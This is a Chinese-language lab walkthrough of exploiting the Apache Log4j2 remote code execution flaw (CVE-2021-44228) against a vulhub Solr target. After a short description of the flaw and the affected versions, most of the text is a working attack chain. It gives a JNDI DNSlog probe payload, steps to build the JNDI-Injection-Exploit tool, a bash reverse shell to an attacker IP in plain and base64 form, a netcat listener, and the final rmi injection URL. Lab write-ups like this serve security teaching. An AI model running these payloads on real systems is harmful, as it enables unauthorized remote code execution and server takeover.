CVE-2021-44228 Apache Log4j 远程代码执行漏洞
漏洞描述
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。
Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
影响范围
Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rc1
(补丁绕过)
漏洞环境搭建
靶机ubuntu:192.168.3.151
使用vulhub
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
在攻击段浏览器输入网址
http://192.168.3.151:8983/solr/admin/cores?action=1
构造dnslog payload参数
打开dnslog,点击这个,获取一个网址
然后构造
${jndi:ldap://kz46l0.dnslog.cn}
在浏览器中输入
http://192.168.3.151:8983/solr/admin/cores?action=${jndi:ldap://kz46l0.dnslog.cn}
发现在dnslog中出现信息,说明有这个漏洞
攻击
接下来使用工具
安装编译
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests //编译
编译完成后就可以构造攻击参数了
构造连接参数
bash -i >& /dev/tcp/192.168.3.134/6969 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzY5NjkgMD4mMQ==
然后进入target目录下
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.3.134
监听端口6969
nc -lvvp 6969
进行payload攻击
http://192.168.3.151:8983/solr/admin/cores?action=${jndi:rmi://192.168.3.134:1099/edptqq}
nc连接上了